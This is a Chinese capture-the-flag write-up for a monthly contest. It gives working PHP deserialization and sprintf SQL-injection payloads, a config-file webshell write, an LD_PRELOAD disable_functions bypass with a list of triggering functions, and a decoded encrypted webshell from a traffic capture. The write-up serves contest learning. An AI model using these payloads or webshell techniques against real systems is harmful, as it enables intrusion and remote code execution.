安恒杯四月月赛题解

WEB

0x 01 Ezunserialize

  • 考点

    字符串逃逸

  • 解题过程

  1. 题目给了源代码,进行审计发现需要构造pop链然后字符逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

首先是构造pop链如下:

1
2
3
4
5
6
$b = new B();
$c = new C();
$c->c = 'flag.php';
$b->b = $c;
$x = serialize($b);
echo $x;

得到:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

接着是反序列化逃逸对象,本地调试发现当我们传入:a=1&b=1时候得到的pop链是

1
"O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}"

当我们注入一个对象时:";s:0:"";O:1:"A":1:{s:1:"a";s:1:"1";}}得到的pop链是

1
"O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:38:"";s:0:"";O:1:"A":1:{s:1:"a";s:1:"1";}}";}"

我们需要逃逸出";s:8:"password";s:38:"23个字符

审计代码我们可以发现\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸,最终造成对象注入。

但是这里需要是3的倍数,在payload里面加个1,最终payload如下:

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"

最后加上空字符串闭合结尾的引号

1
"O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";}"

注入我们pop链对象

0x 02 babytricks

  • 考点

    SQL注入

  • 解题过程

1、题目源代码处得到提示

1
<!-- tips:select * from user where user='$user' and passwd='%s'-->

2、利用sprintf()格式化字符串漏洞注入账号密码,参考这篇文章:https://blog.csdn.net/weixin_41185953/article/details/80485075

%1可以吃掉username后面那个单引号

1
2
3
4
<?php
$sql = sprintf ("select * from user where user='%1$' and passwd='%s'",'^0#');
echo $sql;
// select * from user where user='nd passwd='^0#'

使用admin/GoODLUcKcTFer202OHAckFuN登录http://183.129.189.60:10027/admin/admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Your sandbox: ./shells/Ex5xRmjE666uzon5/ set your shell
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>

参考[小密圈]经典写配置漏洞与几种变形学习

分别访问:

写入shell

链接蚁剑,发现存在disable_function和openbasedir,php版本是7.4.5,有一个文件查看的脚本

1
2
3
4
5
6
7
8
9
10
11
$arr=scandir("..");
foreach($arr as $value){
print_r($value."\n");
$arr2=@scandir("../".$value);
if($arr2){
if(sizeof($arr2)>3){
print_r(scandir("../".$value));
print_r("\n");
}
}
}

根据这两篇文章:

Fuzzer gets us new functions to bypass PHP disable_functions

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

结果如下:

在phpinfo中存在gnupg这个扩展

img

利用 gnupg_init();函数触发即可

或者是$gpg = new gnupg();

利用脚本:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

参考:https://cjm00n.top/CTF/dasctf-2020-04-wp.html

另外能触发ld_preload的函数还有:

1
2
3
4
5
6
7
8
9
10
11
mb_send_mail
exec
system
passthru
shell_exec
error_log
mail
gnupg_init
imap_mail
pcntl_exec
new gnupg()

需要根据相应的扩展进行修改

MISC

0x 01 6G还远吗?

断点下载,打开文件得到flag

0x 02 blueshark

根据题目提示,过滤obex协议,发现存在一个7z的压缩包。binwalk导出

然后看文件名猜到可能要蓝牙的PIN码才能得到,然后导出7z,再从流量包字符串搜索找到PIN值

解压得到flag

0x 03 keyboard

首先是内存取证:

1
2
3
volatility -f Keyboard.raw imageinfo
volatility -f Keyboard.raw --profile=Win7SP1x64 filescan | grep txt
volatility -f Keyboard.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003d700880 -n--dump=./

得到:

img

键盘加密:

1
2
3
4
string1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
string2 = "QWERTYUIOPASDFGHJKLZXCVBNM"
str = 'CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA'
print(str.translate(str.maketrans(string2,string1)))

得到解密明文VERACRYPTPASSWORDISKEYBOARDDRAOBYEK用了VERACRYPT的工具,密码是KEYBOARDDRAOBYEK

ntfs数据流解密得到flag

0x 04 awdshell

先导出http对象得到源文件,发现存在木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmXoXBvXeanxgl51HBm2J6HPNh
TQtfb8ICioE+n0Ni0DlBFHSBprbsWYKJywVfdhJbLDCCon68uA1UYuy0yteDog3j
OdweW2bscEGmeMXLQJfBHpQrg4wWoYJjD3QsKorYT6kdp1LRkuHE3PbpqvRtqO7A
LzrcBi88Eu7oZaPANwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

写出对应的解码代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$str='';//fang mi wen
$pk = '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmXoXBvXeanxgl51HBm2J6HPNh
TQtfb8ICioE+n0Ni0DlBFHSBprbsWYKJywVfdhJbLDCCon68uA1UYuy0yteDog3j
OdweW2bscEGmeMXLQJfBHpQrg4wWoYJjD3QsKorYT6kdp1LRkuHE3PbpqvRtqO7A
LzrcBi88Eu7oZaPANwIDAQAB
-----END PUBLIC KEY-----';
$strs = explode("|", $str);
$pk = openssl_pkey_get_public($pk);
$str = '';
foreach ($strs as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$str .= $de;
}
}
echo $str;
?>

解码对应的数据包得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
@session_start();
$key=@substr(str_pad(session_id(),16,'a'),0,16);
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}
;
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "f9d3fc090";
echo @asenc($output);
echo "4d608782174";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

可以看出返回的密文是一个AES加密后加盐混淆的东西,AES是AES-128-ECB模式,KEY是session的前16位,也就是hm3pq66843bbbrdg可以看报文cookie里的 PHPSESSID获得

最后一步步解密得到flag

参考资料:

http://www.fzwjscj.xyz/index.php/archives/25/